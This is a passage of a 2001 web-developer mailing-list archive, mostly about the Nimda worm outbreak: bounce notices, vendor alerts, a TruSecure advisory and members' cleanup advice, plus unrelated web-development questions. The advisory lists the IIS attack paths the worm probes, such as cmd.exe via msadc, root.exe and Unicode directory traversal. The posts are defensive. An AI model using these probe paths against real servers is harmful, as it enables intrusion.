a Mac!) in order to do a 'save file' or 'save link' or 'save this 
link as' depending on the browser she's using.

So... I was wondering if anyone had a clever trick that would force all
(or even most) browsers to download a file rather than opening a file?
I have complete control over the server (Apache), if that helps.

Failing that, a pointer to some pre-tested code to detect the browser
and 
platform would be a godsend -- few things shake a user's confidence
worse 
than asking her to "right-click" with a Mac mouse.

<tip type="Warning!" author="digger">
IE 5 on MacOS 9.1 does NOT like self-signed OpenSSL certificates. It
will hang your Mac hard if you even try to view the site.  Be warned!
</tip>


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From Matt at grndwtr.com  Tue Sep 18 13:23:46 2001
From: Matt at grndwtr.com (Matthias Ritzkowski)
Date: Tue Sep 18 13:23:46 2001
Subject: [thelist] failure notice (& CF TIP)
Message-ID: <8179FA78B6D0D111AA53006097B0128007AF0F@mail1>

Any thoughts on what to do when it executed already?
Matthias

-----Original Message-----
From: Seth Bienek [mailto:seth at sethbienek.com]
Sent: Tuesday, September 18, 2001 12:07
To: thelist at lists.evolt.org
Subject: RE: [thelist] failure notice (& CF TIP)



This return was generated as a result of the W32.Nimda.A at mm worm being sent
out today.  If you have received an email from thelist at lists.evolt.org with
an unusually long subject line, do NOT open it.  It contains a self-running
executable.  Most virus scanners will not detect this virus either.

Have a nice day,

Seth




From hblair at hotfootmail.com  Tue Sep 18 13:30:41 2001
From: hblair at hotfootmail.com (Hugh Blair)
Date: Tue Sep 18 13:30:41 2001
Subject: [thelist] another worm?
In-Reply-To: <200109181519.f8IFJBVW010738@leo.evolt.org>
Message-ID: <NBBBJJHMEOLIMKIKIOMJCEENLIAA.hblair@hotfootmail.com>

<watch wrap>

http://securityresponse.symantec.com/avcenter/venc/data/w32.nimda.a at mm.html

http://www.cert.org/current/current_activity.html#port80

http://www.ntbugtraq.com/default.asp?pid=36&sid=1&A2=ind0109&L=ntbugtraq&F=P
&S=&P=1747

-Hugh
____________________________
http://www.wholesalenics.net

> -----Original Message-----
> From: thelist-admin at lists.evolt.org
> [mailto:thelist-admin at lists.evolt.org]On Behalf Of aardvark
> Sent: Tuesday, September 18, 2001 10:19 AM
> To: thelist at lists.evolt.org
> Subject: [thelist] another worm?
>
>
>
> ok, a few of our clients were hit this morning by something that
> tries to get your browser (on windows) to download a .eml file
> which it would then launch via an .exe...
>
> i can't get to any virus sites, since all web traffic coming and going
> is pretty hosed right now...
>
> so, is there a new worm out there?  the IIS servers affected were
> *supposedly* patched against the last batch...
>
> anyone?





From domitianx at domitianx.com  Tue Sep 18 13:31:02 2001
From: domitianx at domitianx.com (DomitianX)
Date: Tue Sep 18 13:31:02 2001
Subject: [thelist] another worm?
In-Reply-To: <200109181730.f8IHULe17729@dymwsm11.mailwatch.com>
Message-ID: <002101c1406f$64c16cf0$f329ca93@MikeC>

http://support.centralcommand.com/cgi-bin/command.cfg/php/enduser/std_ad
p.php?p_refno=010918-000005

************************
Mike Carlson
http://www.domitianx.com
domitianx at domitianx.com

Thought Of The Moment:

"My software never has bugs. It just develops random features."
************************

-----Original Message-----
From: thelist-admin at lists.evolt.org
[mailto:thelist-admin at lists.evolt.org] On Behalf Of Gerenday, Perry (P.)
Sent: Tuesday, September 18, 2001 12:30 PM
To: 'thelist at lists.evolt.org'
Subject: RE: [thelist] another worm?


-----Original Message-----
From: aardvark [mailto:roselli at earthlink.net]
 
 > ok, a few of our clients were hit this morning by something that 
 > tries to get your browser (on windows) to download a .eml file 
 > which it would then launch via an .exe...
 > 
 > i can't get to any virus sites, since all web traffic coming 
 > and going 
 > is pretty hosed right now...
 > 
 > so, is there a new worm out there?  the IIS servers affected were 
 > *supposedly* patched against the last batch...
 > 
 > anyone?

Alright, this is getting *real* errie. I've been receiving these
auto-reply messages over the past hour. Something seems to be up. Are we
under attack on the net?

From: MAILER-DAEMON at dti.net
 Subject:Undelivered Mail Returned to Sender

From: MAILER-DAEMON at lists.evolt.org
 Subject:Undelivered Mail Returned to Sender

From: Returned message - mailbox size exceeded
 Subject: Mensagem Automatica do Terra [null at terra.com.br])

From: MCPHelp at microsoft.com
 Subject:[thelist] MCP Acknowledgement

From: newmailsweeper3 at state.gov
 Subject: [thelist] Blocked EXECUTABLE to Department of State


Perry Gerenday, Visual Communications Artist www.virtually-artistic.com


 


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From rklegman at mediaone.net  Tue Sep 18 13:33:42 2001
From: rklegman at mediaone.net (Ron Klegman)
Date: Tue Sep 18 13:33:42 2001
Subject: [thelist] another worm?
In-Reply-To: <200109181519.f8IFJBVW010738@leo.evolt.org>
Message-ID: <NDBBKDHNAKILPHDKFHBKAEPBFIAA.rklegman@mediaone.net>

yes.. this is correct.. Symantec rates this at threat level 4.. here is the
scoop:


From: Sophos Alert System [mailto:listmaster at sophos.com]
Sent: Tuesday, September 18, 2001 12:00 PM
To: Undisclosed recipients:
Subject: EMERGENCY ALERT: W32/Nimda virus spreading widely


EMERGENCY ALERT: W32/Nimda virus spreading widely


Sophos has received a significant number of reports
of users receiving a new, in-the-wild, virus called
W32/Nimda-A.

Sophos has issued protection against W32/Nimda-A,
and is recommending customers update their copies
of Sophos Anti-Virus to protect against it.

W32/Nimda-A arrives as an email attachment called
README.EXE

To read more about W32/Nimda-A and download protection
please see:

http://www.sophos.com/virusinfo/analyses/w32nimdaa.html

Sophos recommends customers adopt a policy of "safe
computing" in conjunction with up-to-date anti-virus
software to reduce the threat of computer viruses.  For
more details please see:

http://www.sophos.com/virusinfo/articles/safehex.html


Regards

Sophos Anti-Virus

> -----Original Message-----
> From: thelist-admin at lists.evolt.org
> [mailto:thelist-admin at lists.evolt.org]On Behalf Of aardvark
> Sent: Tuesday, September 18, 2001 11:19 AM
> To: thelist at lists.evolt.org
> Subject: [thelist] another worm?
>
>
>
> ok, a few of our clients were hit this morning by something that
> tries to get your browser (on windows) to download a .eml file
> which it would then launch via an .exe...
>
> i can't get to any virus sites, since all web traffic coming and going
> is pretty hosed right now...
>
> so, is there a new worm out there?  the IIS servers affected were
> *supposedly* patched against the last batch...
>
> anyone?
>
>
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From norman.bunn at mindspring.com  Tue Sep 18 14:28:45 2001
From: norman.bunn at mindspring.com (Norman Bunn)
Date: Tue Sep 18 14:28:45 2001
Subject: [thelist] failure notice (& CF TIP)
References: <8179FA78B6D0D111AA53006097B0128007AF0F@mail1>
Message-ID: <034601c14076$436e3860$0201a8c0@com>

I can only suggest you check the major virus scanning software sites.  They
should have a standalone cleaner soon along with an updated file for the
scanner very soon.

> Any thoughts on what to do when it executed already?
> Matthias
>
!





From Rory.Plaire at wahchang.com  Tue Sep 18 14:45:04 2001
From: Rory.Plaire at wahchang.com (Rory.Plaire at wahchang.com)
Date: Tue Sep 18 14:45:04 2001
Subject: [thelist] failure notice (& CF TIP)
Message-ID: <41C0B6AB2A57D3119ED800A0C9EA3920034AD17A@arnold.bedrock.com>

| Any thoughts on what to do when it executed already?

Matthias,

As far as I can tell, no one knows yet... I'm hanging in there on
http://securityresponse.symantec.com/avcenter/venc/data/w32.nimda.a at mm.html
until I see it.

<rory disposition="down, not out" alt="8J"/>




From richard.morris at web-designers.co.uk  Tue Sep 18 14:45:06 2001
From: richard.morris at web-designers.co.uk (Richard H. Morris)
Date: Tue Sep 18 14:45:06 2001
Subject: [thelist] failure notice (& CF TIP)
In-Reply-To: <8179FA78B6D0D111AA53006097B0128007AF0F@mail1>
Message-ID: <B7CD612B.36B1%richard.morris@web-designers.co.uk>

On 18/9/01 7:16 pm, Matthias Ritzkowski at Matt at grndwtr.com wrote:

> Any thoughts on what to do when it executed already?
> Matthias

How about:

i) make sure you have the latest virus identity file;
ii) run your installed scanner and disinfect your system; and
iii) make a mental note to:
    a) never run an executable unless you've first virus checked it;
    b) make sure you're always bang up to date with your AV software; and
    c) spend a bit of money on *decent* AV software.
-- 
_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
Richard H. Morris
Director
Web Designers Limited
http://www.web-designers.co.uk
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Registered Office:
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Trading Address:
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From djc at starkmedia.com  Tue Sep 18 15:46:32 2001
From: djc at starkmedia.com (Daniel J. Cody)
Date: Tue Sep 18 15:46:32 2001
Subject: [thelist] bounced messages..
Message-ID: <3BA7AFBC.1080301@starkmedia.com>

Hi -

I know a lot of you are just now receiving emails that have 'bounced' 
back to thelist, and I'm very sorry that happened. Most of them got 
through this morning before I could put thelist into a different mode 
where all posts have to be manually approved, and they come back to 
thelist in the first place because the programs that send the messages 
are sending them to the wrong address(they should follow the 'errors-to' 
line in the email header, Errors-To: thelist-admin at lists.evolt.org)

They also got past the filters that usually hold back attachments 
because they were inline forwarded messages and hence came through as 
plain-text, thereby skipping around the filters that look for certain 
things in the header of the email.

This was an very rare set of circumstances that caused this, and again, 
I'm very sorry for those of you getting these ugly, annoying bounces, 
but asses are being worked off trying to fix the situation :)

Please feel free to email me offlist if you have any concerns or 
questions :)

.djc.





From mfeldman at wwwood.net  Tue Sep 18 16:11:40 2001
From: mfeldman at wwwood.net (Matt Feldman)
Date: Tue Sep 18 16:11:40 2001
Subject: [thelist] [fwd] Cookie Support
Message-ID: <001475710211291BUNSON@bunson.webservepro.com>

---------------------------------------------
This message was held by thelist software and
is being manually forwarded by a list admin.
Please remember to send emails in plain-text
format only, or they will not reach thelist
until it is later forwarded by a list admin.
---------------------------------------------


Hey,

Does anyone no a good way of detecting whether cookies have been turned
off in a browser?  Meaning the browser supports cookies, but the user
has disabled them?

thanks,

Matt





From chrisg at gsnet.com  Tue Sep 18 16:26:29 2001
From: chrisg at gsnet.com (Chris George)
Date: Tue Sep 18 16:26:29 2001
Subject: [thelist] Pagecurl plugin for the Mac?
Message-ID: <B7CD168A.6519%chrisg@gsnet.com>

Hi all,

I was wondering if anyone knew of a free or at least incredibly reasonably
priced pagecurl plugin for PhotoShop 6 Mac.  It's to illustrate printable
parts of the site...

Either that or if someone has a better idea to illustrate it, I'm all ears -
I hatehatehate cheeseFilters.

Thanks!!!

Chris.





From amanda at gawow.com  Tue Sep 18 16:40:50 2001
From: amanda at gawow.com (A. Erickson)
Date: Tue Sep 18 16:40:50 2001
Subject: [thelist] Pagecurl plugin for the Mac?
In-Reply-To: <B7CD168A.6519%chrisg@gsnet.com>
Message-ID: <000901c14089$f5770600$a63c1ad8@75ctt01>

> I was wondering if anyone knew of a free or at least 
> incredibly reasonably priced pagecurl plugin for PhotoShop 6 
> Mac.  It's to illustrate printable parts of the site...

It's pretty easy to make a page curl actually. If you're at all good
with paths you can draw a triangle. Use the convert points tool to make
two sides have a nice curve to them. Give the triangle a one pixel
stroke, then fill it with a gradient. You'll have to play with the
gradient a bunch to get it to look just right but you can do it. 

You'll probably want to give the curl a shadow. You would copy and paste
the triangle to another layer underneath. Make it one color. Rotate it a
bit so you see just the point and then change the opacity.

It's easy but you'll need to play a bit... Or, you know, get a plugin
(which I've never heard of for this but it's probably out there).

- amanda





From rthigpen at nc.rr.com  Tue Sep 18 16:48:58 2001
From: rthigpen at nc.rr.com (Ron Thigpen)
Date: Tue Sep 18 16:48:58 2001
Subject: [thelist] W32/Nimda DATs available from McAfee
Message-ID: <3BA7C101.7000302@nc.rr.com>

W32/Nimda DATs available from McAfee <www.mcafee.com>.  If you are 
running their AV software you'll want to get this right away.

Looks like this one spreads using multiple methods. It will email itself 
(similar to Melissa and I Love You).  Compromised IIS webservers will 
spread it through port scanning (similar to Code Red), as well as 
through embedded javascript code that opens a new window and  loads a 
file named "readme.eml".  This file is contains multipart MIME  that is 
capable of running, *without user intervention*, on vulnerable Windows 
systems.  This is also exploited in email clients that will load code 
into IE.

If you run Outlook, and haven't yet disabled scripts, now would be a 
good time.

If you've got IE you might want to patch it:

http://www.microsoft.com/technet/treeview/default.asp?url=/TechNet/security/bulletin/ms01-020.asp

Cheers,

--rt





From genghis at members.evolt.org  Tue Sep 18 19:26:01 2001
From: genghis at members.evolt.org (John Handelaar)
Date: Tue Sep 18 19:26:01 2001
Subject: [thelist] failure notice (& CF TIP)
In-Reply-To: <B7CD612B.36B1%richard.morris@web-designers.co.uk>
Message-ID: <EKECLALLPEHGEHLPBJBNGEFMCEAA.genghis@members.evolt.org>

> -----Original Message-----
> From: thelist-admin at lists.evolt.org
> [mailto:thelist-admin at lists.evolt.org]On Behalf Of Richard H. Morris
> Sent: 18 September 2001 20:38
> To: TheList
> Subject: Re: [thelist] failure notice (& CF TIP)
> 
> How about:
> 
> i) make sure you have the latest virus identity file;
> ii) run your installed scanner and disinfect your system; and
> iii) make a mental note to:
>     a) never run an executable unless you've first virus checked it;
>     b) make sure you're always bang up to date with your AV software; and
>     c) spend a bit of money on *decent* AV software.

Utterly unhelpful.  Way to go, Richard.

The answer:

1	Look for all instances of README.EXE on your local
	disks and delete them

2	Search the registry for 'macrosoft' and remove the
	keys

3	Uninstall IIS and Windows Scripting Server on your 
	desktop machine

4	Disable 'active scripting' in IE at all 4 security
	settings.  Better still, get Mozilla 0.9.4 instead
	'cos it's (believe it or not) more robust and doesn't
	suffer from the security bug which enables one
	of this worm's 6 or 7 methods of propagation.

------------------------------------------
John Handelaar

T +44 20 7209 4117       M +44 7930 681789
F +44 870 169 7657   E john at userfrenzy.com
------------------------------------------  






From isaac at members.evolt.org  Tue Sep 18 19:26:17 2001
From: isaac at members.evolt.org (isaac)
Date: Tue Sep 18 19:26:17 2001
Subject: [thelist] another worm?
In-Reply-To: <5.0.2.1.0.20010918113219.021d4a38@mail.imaginuity.com>
Message-ID: <CKEIJNPMACBAAGMEBNNIIEPDDCAA.isaac@members.evolt.org>


If you have IIS running on any net-accessible machine somewhere, even if you
don't care about it getting hacked, lock it down. We had a gateway machine
running IIS that we weren't too worried about. Then code red did $800 worth
of data transfer (data costs are very high in Australia - 18-25c/MB) on our
ADSL connection. Telstra (primary telco here in Australia) nicely refunded
30+% of that despite being under no obligation to do so.

Unless you have money to burn, lock down your machine. If you have money to
burn, pay someone else to secure it for you.

Microsoft released some kind of lockdown tool which is quick to download,
ultra-easy to run, and (from memory) doesn't require any rebooting of the
machine. I'm sure the URL is available somewhere on their site.


isaac

--------------------------------------------------------------
triple zero digital | upstairs at 200 the parade, norwood 5067
(08)83320545 | www.triplezero.com.au | isaac at triplezero.com.au





From rthigpen at nc.rr.com  Tue Sep 18 19:26:31 2001
From: rthigpen at nc.rr.com (Ron Thigpen)
Date: Tue Sep 18 19:26:31 2001
Subject: [thelist] Worm Alert -- W32.nimda.a.mm
Message-ID: <3BA77D8D.5030607@nc.rr.com>

In case you hadn't seen this yet.  Looks like an exploit of this 
vulnerability:

http://www.microsoft.com/technet/treeview/default.asp?url=/TechNet/security/bulletin/ms01-020.asp

Looks like thelist is already getting some of the e-mail variety.

Will follow up with assessments as they arrive from the analysts.

--rt

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Hash: SHA1

TruSecure ALERT- TSA 01-023 - W32.nimda.a.mm

Date: September 18, 2001
Time:  1000 EDT

RISK INDICES:

Initial Assessment: RED HOT

Threat: VERY HIGH, (rapidly increasing)

Vulnerability Prevalence: VERY HIGH, effects IIS servers version 4.0,
5.0, and internal networks.

Cost: High, command execution is possible

Vulnerable Systems:  IIS 4.0 and 5.0

SUMMARY:
A new IIS worm is spreading rapidly.  Its working name is Nimda:
W32.nimda.a.mm

It started about 9am eastern time today, Tuesday,September 18, 2001,
Mulitple sensors world-wide run by TruSecure corporation are getting
multiple hundred hits per hour. And began at 9:08am am.

The worm seems to be targeting IIS 4 and 5 boxes and tests boxes for
multiple vulnerabilities including:

Almost all are get scripts, and a get msadc (cmd.exe)
get_mem_bin
vti_bin  owssvr.dll
Root.exe
CMD.EXE
../  (Unicode)
Getadmin.dll
Default.IDA
/Msoffice/ cltreq.asp

This is not code red or a code red variant.

The worm, like code red attempts to infect its local sub net first,
then spreads beyond the local address space.

It is spreading very rapidly.

TruSecure  believes that this worm will infect any IIS 4 and IIS 5
box with well known vulnerabilities.  We believe that there are
nearly 1Million such machines currently exposed to the Internet.

Risks Indices:
Vulnerability   VULNERABILITY  PREVALANCE is very high - Milllions of
Internet Web server hosts:   TruSecure process and essential
configurations should generally be protective.  The vulnerability
prevalence world-wide is very high

Threat - VERY HIGH and Growing The rate of growth and spread is
exceedingly rapid - significantly faster than any worm to date and
significantly faster than any variant of Code red.

Cost --  Unknown, probably moderate per infected system.


The worm itself is a file called
README.EXE, or ADMIN.DLL
a 56K file which is advertised as an audio xwave mime type file.

Other RISKS:
There is risk of DOS of network segments by traffic volume alone
There is large risk of successful attack to both Internet exposed IIS
boxes and to developer and Intranet boxes inside of corporations.

Judging by the Code Red II experience, we expect many subtle routes
of infection leading to inside corporate infections.

We cannot discount the coincidence of the date and time of release,
exactly one week to (probably to the minute) as the World Trade
Center attack .


REPLICATION:
There are at least three mechanisms of spread:
The worm seems to spread both by a direct IIS across Internet (IP
spread)
It probably also spreads by local shares.  (this is not known for
sure at this time)
There is also an email vector where README.EXE is sent via email to
numerous accounts.

Mitigations
TruSecure essential practices should work.
Block all email with EXE attachments
Filter for README.EXE
Make sure IIS boxes are well patched and hardened, or removed from
both the Internet and Intranets.
Make sure any developer computing platforms are not running IIS of
any version (many do so by default if either.
Disconnect mail from the Internet
Advise users not to double click on any unexpected attachments.
Update anti-virus when your vendor has the signature.

More Mitigations to follow, and additional information from
TruSecure.

DISCLAIMER:
Copyright 2001 TruSecure Corporation.  All rights reserved.  This
Alert is the property of the TruSecure Corporation.  It may not be
redistributed except within your own company or organization.  This
Alert is being provided for informational purposes only and is
provided AS IS."  The TruSecure Corporation makes no warranties of
any kind, express or implied, including, but not limited to
warranties of merchantability, fitness for a particular purpose,
non-infringement, and warranties arising out of any course of dealing
or course of conduct.

Impenetrable security is unattainable in real world environments; the
TruSecure Corporation cannot and does not guarantee protection
against breaches of security.

IN NO EVENT WILL THE TRUSECURE CORPORATION BE LIABLE FOR ANY BUSINESS
INTERRUPTION, LOST REVENUE, PROFITS OR DATA, OR FOR DAMAGES OF ANY
KIND, HOWEVER CAUSED, ARISING OUT OF YOUR USE OF OR INABILITY TO USE
THE INFORMATION CONTAINED IN THIS WARNING, OR YOUR FAILURE TO RECEIVE
ANY PRIOR OR FUTURE ALERTS, WATCHES OR WARNINGS, EVEN IF THE
TRUSECURE CORPORATION HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.

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From jason at bigfatsite.com  Tue Sep 18 19:26:49 2001
From: jason at bigfatsite.com (Jason Whitman)
Date: Tue Sep 18 19:26:49 2001
Subject: [thelist] Re: web development for Solaris
Message-ID: <E15jV2F-0001bf-00@avocet.mail.pas.earthlink.net>

Regarding Solaris browsers, this table might help:

http://hotwired.lycos.com/webmonkey/reference/browser_chart/index_nix.html

I've found it helpful for some of my projects.

Jason




From hassan at webtuitive.com  Tue Sep 18 20:08:18 2001
From: hassan at webtuitive.com (Hassan Schroeder)
Date: Tue Sep 18 20:08:18 2001
Subject: [thelist] Re: web development for Solaris
References: <E15jV2F-0001bf-00@avocet.mail.pas.earthlink.net>
Message-ID: <3BA7ED5B.2CA19A56@webtuitive.com>

Jason Whitman wrote:
> 
> Regarding Solaris browsers, this table might help:
> 
> http://hotwired.lycos.com/webmonkey/reference/browser_chart/index_nix.html

hmmm, interesting, but -- what does the "XML supported" [X] in the 
Navigator 4.7 column really mean? 

Or put another way, what have I been overlooking all this time? :-)

-- 
H*
Hassan Schroeder ----------------------------- hassan at webtuitive.com 
Webtuitive Design ===  (+1) 408-938-0567   === http://webtuitive.com

    -- creating dynamic Web sites and applications since 1994 --




From evolt at georgedillon.com  Tue Sep 18 20:39:02 2001
From: evolt at georgedillon.com (George Dillon)
Date: Tue Sep 18 20:39:02 2001
Subject: [thelist] bounced messages..
Message-ID: <00e701c140aa$96e088c0$19d12cc3@athlon800>

> I'm very sorry for ... ugly, annoying bounces,
> asses are being worked off trying to fix the situation :)

The annoyance was considerably lessened by the certain knowledge that you'd
be on the case and a solution would be in place as soon as humanly possible.

Thanks for looking after us Dan.

Best wishes

George Dillon





From webdesign1 at irubin.com  Wed Sep 19 05:52:36 2001
From: webdesign1 at irubin.com (Roee Rubin)
Date: Wed Sep 19 05:52:36 2001
Subject: [thelist] Credit Card Number validation
Message-ID: <LDEPIJINJHOPDCLEIDPAEENHCOAA.webdesign1@irubin.com>

Hello,

I am looking for a way to validate a credit card number using JavaScript. I
am only looking to validate it for accuracy as opposed to true validity
(stolen, expired, etc).

I will appreciate any help.


Roee Rubin
Irubin Consulting
roee at irubin.com

http://www.irubin.com/






From web at master.gen.in.us  Wed Sep 19 05:52:55 2001
From: web at master.gen.in.us (deke )
Date: Wed Sep 19 05:52:55 2001
Subject: [thelist] [fwd] Cookie Support
In-Reply-To: <001475710211291BUNSON@bunson.webservepro.com>
Message-ID: <3BA7F81B.28808.1169E03@localhost>

On 18 Sep 2001, at 17:10, Matt Feldman posted a message which said:

> Does anyone no a good way of detecting whether cookies have been turned
> off in a browser?  Meaning the browser supports cookies, but the user
> has disabled them?

Use unique user_id cookies. If a user doesn't give you his user_id cookie
when he asks for a page, assign him one.

If a user shows an HTTP_REFERER of a page that should have set
that user_id cookie, and the user does not give you the cookie data 
with the page request, then cookies aren't enabled.

It's impossible to distinguish browsers with cookies deliberately 
disabled from browsers without cookie support, for the reason that
browsers can claim to be other browsers.

deke



------------------------
 "The church is near but the road is icy; 
  the bar is far away but I will walk carefully." 
                            -- Russian Proverb




From skaiser1 at skdesigns.com  Wed Sep 19 05:54:03 2001
From: skaiser1 at skdesigns.com (Shirley Kaiser, SKDesigns)
Date: Wed Sep 19 05:54:03 2001
Subject: [thelist] another worm?
In-Reply-To: <CKEIJNPMACBAAGMEBNNIIEPDDCAA.isaac@members.evolt.org>
References: <5.0.2.1.0.20010918113219.021d4a38@mail.imaginuity.com>
Message-ID: <5.1.0.14.2.20010918184316.027ccec0@mail.midtown.net>

Isaac,

My ISP's IIS servers got nailed this morning. It sound like he's 
potentially out a chunk of money, too? I don't know much at all about 
servers. I know he's got all the data backed up in at least 2 other 
locations, which gets backed up a lot. Seems like that would save him on 
this, but I don't know.

I can't even imagine what my ISP is faced with today. I'm sure he's not a 
happy camper right about now.

<sigh> This really stinks, to be polite about it. ;-)  I've got these 
posted at my web log, which isn't online so I'll go ahead and post them 
here -- some sites with info about this:

W32.Nimda.A at mm
http://www.sarc.com/avcenter/venc/data/w32.nimda.a at mm.html
[09/18/01  12:38:50 PM PDT, Symantec]

FBI investigating new Internet worm
http://www.cnn.com/2001/TECH/internet/09/18/internet.attack.ap/index.html
  [09/18/01 9:05 PM EDT (0105 GMT),  Associated Press]

New Computer Worm Hits Both Servers and PCs
http://dailynews.yahoo.com/h/nm/20010918/tc/tech_worm_dc_2.html
[09/18/01 updated 8:22 PM EDT, Reuters]

Lethal worm spells double trouble
http://dailynews.yahoo.com/h/zd/20010918/tc/lethal_worm_spells_double_trouble_1.html
[09/18/01 02:15 PM EDT, By Robert Lemos, ZDNet News]


Warmly,
Shirley
--
Shirley E. Kaiser, M.A.
SKDesigns  mailto:skaiser1 at skdesigns.com
Website Development  http://www.skdesigns.com/
Pianist, Composer  http://www.shirleykaiser.com/
Moderator, I-Design http://www.adventive.com/lists/idesign/summary.html


At 04:51 PM 09/18/2001, isaac wrote:

>If you have IIS running on any net-accessible machine somewhere, even if you
>don't care about it getting hacked, lock it down. We had a gateway machine
>running IIS that we weren't too worried about. Then code red did $800 worth
>of data transfer (data costs are very high in Australia - 18-25c/MB) on our
>ADSL connection. Telstra (primary telco here in Australia) nicely refunded
>30+% of that despite being under no obligation to do so.
>
>Unless you have money to burn, lock down your machine. If you have money to
>burn, pay someone else to secure it for you.
>
>Microsoft released some kind of lockdown tool which is quick to download,
>ultra-easy to run, and (from memory) doesn't require any rebooting of the
>machine. I'm sure the URL is available somewhere on their site.
>
>
>isaac
>
>--------------------------------------------------------------
>triple zero digital | upstairs at 200 the parade, norwood 5067
>(08)83320545 | www.triplezero.com.au | isaac at triplezero.com.au





From richard.morris at web-designers.co.uk  Wed Sep 19 05:54:10 2001
From: richard.morris at web-designers.co.uk (Richard H. Morris)
Date: Wed Sep 19 05:54:10 2001
Subject: [thelist] failure notice (& CF TIP)
In-Reply-To: <EKECLALLPEHGEHLPBJBNGEFMCEAA.genghis@members.evolt.org>
Message-ID: <NBBBJAHNMNCICAMJBONMEEIKFGAA.richard.morris@web-designers.co.uk>

John Handelaar [genghis at members.evolt.org] wrote:

> -----Original Message-----
> Utterly unhelpful.  Way to go, Richard.
>
> The answer:
>
> 1	Look for all instances of README.EXE on your local
> 	disks and delete them
>
> 2	Search the registry for 'macrosoft' and remove the
> 	keys
>
> 3	Uninstall IIS and Windows Scripting Server on your
> 	desktop machine
>
> 4	Disable 'active scripting' in IE at all 4 security
> 	settings.  Better still, get Mozilla 0.9.4 instead
> 	'cos it's (believe it or not) more robust and doesn't
> 	suffer from the security bug which enables one
> 	of this worm's 6 or 7 methods of propagation.

Re: 4, just get a Mac and don't worry about Wintel executables? Just as
helpful advice...

You forgot to mention the hidden files load.exe and riched20.dll and the
changes made to system.ini if we're going to be pedantic.

There's still no excuse for web designers in particular who will be open to
attacks like this not running decent and up to date AV software and more
particularly having a policy in respect of executables and files sent to
them.

Good advice, I thought...

_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
Richard. H. Morris, Web Designers Limited
~~ http://www.web-designers.co.uk ~~
"I'd rather have a full bottle in front of me
          than a full frontal lobotomy"
_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/






From pandion at gmx.net  Wed Sep 19 05:54:16 2001
From: pandion at gmx.net (pandion)
Date: Wed Sep 19 05:54:16 2001
Subject: [thelist] failure notice (& CF TIP)
In-Reply-To: <EKECLALLPEHGEHLPBJBNGEFMCEAA.genghis@members.evolt.org>
References: <B7CD612B.36B1%richard.morris@web-designers.co.uk>
Message-ID: <4.3.2.7.2.20010919090739.00cd8560@mail.gmx.net>

Hello,

>The answer:
>
>1       Look for all instances of README.EXE on your local
>         disks and delete them


I found by pure chance found 4 readme.exe in Eudora's Embedded folder when 
I was throwing images away. The only related email I can find is one of the 
bounced emails to thelist (the rest is probably already trashed). It seemed 
to have the program code displayed in the body.??????

Sorry if this seems stupid, but this is a new experience to me. How do I 
know if the crap executed or not? I, as said, use Eudora and my IE5 has all 
patches. My AV, eTrust EZ, didn't react to the readme.exe files.
I've scanned the disk for readme.exe and readme.eml and checked the 
registry per your instructions. Found nothing. Does that mean it never 
executed?

Thanks,
pandy






From gturner at ync.net  Wed Sep 19 06:20:10 2001
From: gturner at ync.net (Glenn Turner)
Date: Wed Sep 19 06:20:10 2001
Subject: [thelist] User cant see page
In-Reply-To: <3B55A5A1F233D41183A800D0B74D4D5213AB62@SBS>
Message-ID: <5.1.0.14.0.20010918094508.02982348@pop31.ync.net>

At 10:55 AM 9/18/2001 +0200, you wrote:
>Worked fine for me with Netscape 4.7 on PC (without Flash). I'd bet you
>anything they are using Netscape on a Mac - it seems to be way more
>*sensitive* than on the PC.

I received the html site using Netscape 4.7 Mac with Flash 5.0 r41 installed

hth,

Glenn Turner


:alias:
http://peccaui.com/alias





From kerin at airside.co.uk  Wed Sep 19 06:56:15 2001
From: kerin at airside.co.uk (// kerin | airside.co.uk)
Date: Wed Sep 19 06:56:15 2001
Subject: [thelist] IE 5 Mac scrollbar bug?
Message-ID: <a05101001b7ce3fd3deca@[62.49.5.205]>

hi everybody,

I've run into what seems like a fairly obvious bug in IE5 for the 
Mac. has anybody had any experience with this, or know any 
workarounds?

I've got a frameset with two frames, the top one with a menu, and a 
bottom one with the content, which is all held in absolutely 
positioned layers. The menu frame is set to not scroll, and the main 
area is set to scroll auto (this is so that users on lower res. 
screens dont get the content cut off at the bottom).

On OSX, IE5.1b renders a thick white stripe where the scrollbar would 
be if it was needed. If I refresh the page, half of the layers in the 
content frame disappear. If I keep hitting refresh the results are 
slightly different, but always involve some layers missing.

On OS9, IE5 adds the scrollbar in when its not needed. if I hit 
refresh, it does one of three things:

renders a single un-needed vertical scrollbar
renders un-needed vertical and horizontal scrollbars
renders it correctly (no scrollbars)

And this is with me just repeatedly hitting refresh, without changing a thing.

If I resize the window on OS9, random parts of the page get 
reproduced in chunks where the scrollbar would be.


This page works just fine on Netscape 4 and 6 on both Mac and PC, and 
on IE 5 and 6 on PC. I'm trying to upload it just now so that it can 
be seen in action, but our net connection is up and down like a YoYo 
today.

So, can anybody shed any light on this? Its quite worrying - if this 
frames and scrollbar bug cant be solved, then the design for a major 
project is going to have to be rethought, pretty much at the last 
minute.

Thanks in advance,

Kerin
-- 




From optima at hot.ee  Wed Sep 19 06:56:39 2001
From: optima at hot.ee (Lauri Vain)
Date: Wed Sep 19 06:56:39 2001
Subject: [thelist] Credit Card Number validation
References: <LDEPIJINJHOPDCLEIDPAEENHCOAA.webdesign1@irubin.com>
Message-ID: <003401c140f9$1adcd900$1631a8c0@hot7>

Hi Roee,

> I am looking for a way to validate a credit card number using JavaScript.

There are various JS scripts out there that check whether a credit card is
valid. A few are located at the following URL-s:
http://webdeveloper.earthweb.com/webjs/item/0,3602,12752_18781,00.html
http://webdeveloper.earthweb.com/webjs/item/0,3602,12752_15781,00.html

HTH

Yours,
Lauri
--
(p.s.  I haven't tested them myself but a lot of people are using them)





From markgill at uwalumni.com  Wed Sep 19 07:59:30 2001
From: markgill at uwalumni.com (Mark Gillingham)
Date: Wed Sep 19 07:59:30 2001
Subject: [thelist] Apache SSL and Perl save file
In-Reply-To: <20010919002657.3EE4B9E3@relay.evolt.org>
Message-ID: <200109191243.f8JChgQm003154@leo.evolt.org>

I inherited a set of Perl scripts that collects student information and 
saves it to a flat text file. I needed to move the scripts to a new 
host, but still on Linux. The scripts work in non-SSL calls (http) and 
most of the work in SSL too (e.g., https). The part that does not work, 
but only in SSL, is appending a text variable to an open file.

My question. Does Linux/Appache SSL have different rules for appending 
